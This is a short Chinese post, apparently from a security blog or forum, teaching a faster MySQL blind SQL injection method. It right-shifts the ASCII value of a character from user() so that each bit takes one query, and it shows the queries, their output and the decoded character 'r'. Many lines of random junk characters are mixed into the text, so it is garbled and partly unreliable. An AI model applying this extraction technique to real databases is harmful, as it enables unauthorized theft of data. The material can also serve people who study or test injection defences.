关于通过对8bit的ascii做右位移提高mysql盲注效率

admin

通过这种方法我们只需要做8次select来确定一个键值的第一位或第n位
( N' D% T+ G( E& e8 [7 N
6 _" I' O0 v5 B& G$ H  j
: b3 }" g) w" q% n
8 \- z4 J  b4 f" a, G下面将以查询mysql数据库当中user()的第一位为例:



ps:第二位,第三位依次类推 select substr(user(),2,1) mysql> select substr(user(),3,1)
( q$ }% ~% H" i7 ], d$ m4 E' }

+ O2 ~+ @) D% r. u. T
8 C8 k, [5 f9 z5 T  i首先执行如下sql语句:



mysql> select (ascii((substr(user(),1,1))) >> 7)=0;

0 x+ ~* @) [& |$ k8 I
/ t( Z( i# Y3 p9 G+ u* b( p
7 \% f3 Y4 s  m; ]; `我们将对这个8bit的ascii也就是user()的第一位做7次右偏移,也就是偏移到8bit的ascii的

$ `# f# {% E( Q, `" [, f
( g3 Y- O7 Q% I7 `/ c. z; E
5 e+ x- |( M+ [1 Q; `- M9 ^2 N第一位并与0做等运算,如果,运算结果为0 说明第一位不为0,也就为1
! ~: b: W' S1 f

: j4 B, P9 y" f7 d% K8 d
如果运算结果为1,说明第一位为0,不为1
" i. t6 H0 M/ l% ]3 N, N- o


& N7 v' ?: @4 K5 L+————————————–+
; m* |- g' ~& l
| (ascii((substr(user(),1,1))) >> 7)=0 |
3 h6 B& u2 S" u: P* q4 Q
$ ?4 d7 G2 j/ g& i, C# S7 S+————————————–+

| 1 |
- v" c( h9 ^. Y9 u1 x; ~+ v1 Z! c
7 k# v: e" ]0 s) i) d+————————————–+
( P9 _5 a  m/ l2 g7 J3 ~+ I" K
1 row in set (0.00 sec)
# Q' J5 e* o/ O2 q8 d
9 }( o7 B( e4 C" i* ~这样我们就确定这个8bit的ascii的第一位为0



第二次我们来做6次右偏移来确定前两位


7 v' r, u( K/ x, G
前两位可能是01或00,即依然可以与0做比较,

mysql> select (ascii((substr(user(),1,1))) >> 6)=0;
" u, _# j: r; B5 M8 ], n
- C$ _3 ~4 ]! e7 i+ z+————————————–+

| (ascii((substr(user(),1,1))) >> 6)=0 |
2 S4 f' R$ ^- o, S) o, f! H( `
1 P' `8 N7 [7 g2 J+————————————–+

" v/ W0 _2 e5 s& f2 d1 i| 0 |

+————————————–+

1 row in set (0.00 sec)

! T! T3 `) [1 x  Z1 T
# g- J. z( ~5 H3 c4 e4 d
6 w% c: F" z- b! n7 ?结果为0,即第二位为1


; m0 |0 A; D; ]
( H, I. U% ]5 P% S+ S3 x; k. r开始猜测前三位为010或011



让我们看看010和011的ascii码是多少

9 `8 @) X9 t. f; F# v5 m/ A

分别查询select b’011′ select b’010′


$ E- U1 H: ^3 T* n
. u6 K4 F# ~( r获得结果 010 = 2 011 = 3
. J( v/ H7 b) O, c6 T" t! b
0 K) D3 }  N9 K4 b# Q. O( c8 x

0 p- u4 y+ ~) Q+ ?, G; O9 z% B执行如下sql:
2 D2 U6 ~5 m4 Q" l, K* X

$ l3 L; {$ f* x* f, v- ]5 E
mysql> select (ascii((substr(user(),1,1))) >> 5)=2;

+————————————–+

| (ascii((substr(user(),1,1))) >> 5)=2 |

+————————————–+
, \7 u3 u9 u( ]
| 0 |

) j/ I0 R! s5 e& }! X" T+————————————–+
0 H( y1 _6 e/ H# ~: L, S% ^
# }2 P/ p6 m3 [) c即前三位不为010,而是011



直到获得最后一位
/ q- D8 @% v) {- `" V( f

8 B6 V) m. `% x: M% e
最终结果为:01110010


/ F& S( n8 [8 T8 i
转换一下:

  ]& W, j: _4 `( ]8 S2 c" b) y, u8 |& U
, ~& C$ Y' y* o( O0 R
0 T! P! ^$ l6 K; w* ?select b’01110010′
6 }) P# k' I8 Y* t% r


查询结果



+————-+

| b’01110010′ |
3 G& n' _. E. j/ f5 l1 r
+————-+

$ Z9 n# F8 V( U! W- ]| r |

1 M* f9 w& r5 [. N+————-+
& w% S( I+ W% W; d9 T! G
( @# B5 d* S: h5 c. ?& }1 row in set (0.00 sec)
7 T0 B4 j/ W( `. p( W' j& B0 e
) n" |+ [0 z- G* B6 |- i7 Y

这样我们就获得了user()的第一位.其它位依此类推

5 u3 t+ X) E! u# N6 f